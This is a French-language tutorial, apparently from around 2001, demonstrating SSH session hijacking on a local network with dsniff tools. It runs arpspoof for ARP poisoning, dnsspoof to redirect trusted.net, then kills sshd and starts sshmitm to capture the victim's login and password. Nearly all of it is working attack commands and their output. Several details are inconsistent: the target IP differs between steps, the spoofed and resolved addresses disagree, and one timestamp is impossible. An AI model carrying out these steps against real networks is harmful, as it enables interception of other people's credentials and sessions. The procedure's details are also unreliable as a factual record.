Detournement de session SSH sur un reseau local

------------ [ sebastien ] -----------------------------------------------------------------

Demonstration de detournement de session SSH
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Utilisation de la suite d'utilitaires de dsniff
http://naughty.monkey.org/~dugsong/dsniff/dsniff-2.3.tar.gz

banux       : 10.0.0.1  Mac : 0:1:2:9f:a2:dd
seb         : 10.0.0.2  Mac : 0:1:2:9f:d5:38 os : linux	2.4.x
gateway     : 10.0.0.42 Mac : 0:1:2:b2:fa:c5
trusted.net : 213.58.63.59

Nous allons nous loguer du poste de banux sur trusted.net
en ssh.

A]+++++++++++++++++++++++++++++
La premiere etape a realiser est d'utiliser arpspoof pour detourner le
traffic en provenance de la machine de banux vers la gate via la machine
de seb :

root@seb ~# arpspoof -i eth0 -t 10.0.0.1 10.0.0.42
0:1:2:9f:d5:38 0:1:2:9f:a2:dd 0806 42: arp reply 10.0.0.42 is-at 0:1:2:9f:d5:38
0:1:2:9f:d5:38 0:1:2:9f:a2:dd 0806 42: arp reply 10.0.0.42 is-at 0:1:2:9f:d5:38
0:1:2:9f:d5:38 0:1:2:9f:a2:dd 0806 42: arp reply 10.0.0.42 is-at 0:1:2:9f:d5:38
0:1:2:9f:d5:38 0:1:2:9f:a2:dd 0806 42: arp reply 10.0.0.42 is-at 0:1:2:9f:d5:38
...

B]++++++++++++++++++++++++++++++++
Ensuite, nous allons utiliser dnsspoof pour spoofer des reponses dns
aux requetes emises par banux.
Pour cela nous creeons d'abord un fichier contenant les reponses a spoofer :

root@seb ~# echo 10.0.0.2 trusted.net > dns.txt
root@seb ~# dnsspoof -i eth0 -f dns.txt src 10.0.0.1
dnsspoof: listening on eth0 [src 10.0.0.1]
10.0.0.1.1600 > 10.0.0.42.53:  3859+ A? trusted.net
...

Il nous reste a killer le sshd tournant sur notre hote et a lancer
sshmitm de maniere a rediriger la connexion vers le bon hote.

C]+++++++++++++++++++++++++++++++++
root@seb ~# killall -9 sshd
root@seb ~# sshmitm -p 22 213.53.63.59 22
sshmitm: relaying to 213.53.63.59
-----------------
06/05/01 13:54:26 tcp 10.0.0.1.1881 -> 213.53.63.59.22 (ssh)
login
password
C^c
root@seb ~#

 +++++++++++++++++++++++++++++++++++++++++++++++++++++

Voyons voir ce qu'il s'est passe du cote de banux :

A]+++++++++++++++++
 Une fois que arpspoof a ete lance, pour acceder a la gateway
la machine de banux nous utilise comme intermediaire.

banux@banux ~$ traceroute -m 2 -n 10.0.0.42
traceroute to 10.0.0.42 (10.0.0.42), 2 hops max, 40 bytes packets
 1  10.0.0.1  0.84 ms  0.652 ms  0.563 ms
 2  10.0.0.42  0.112 ms  0.756 ms  0.684 ms
banux@banux ~$

B]+++++++++++++
 Grace a dnsspoof, nous allons intercpeter les requetes DNS emises
par banux:

banux@banux ~$ ping -c 1 trusted.net
PING trusted.net (10.0.0.1): 56 data bytes
64 bytes from 10.0.0.1: icmp_seq=0 ttl=255 time=0.6 ms

--- 10.0.0.1 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
rount-trip min/avg/max = 0.6/0.6/0.6 ms
banux@banux ~$

C]+++++++++++++++
 Enfin, grace a sshmitm, nous "sniffons" la session ssh lancee par banux:

banux@banux ~$ ssh login@trusted.net
login@trusted.net's password: password
Last login: Fri Jun  1 17:25:78 2001 from 192.168.1.5
Linux 2.2.19.
No mail.

%DCL-MEM-BAD, bad memory
VMS-F-PDGERS, pudding between the ears

trusted:~$ 

Et voila ...

sebas7ien@msn.com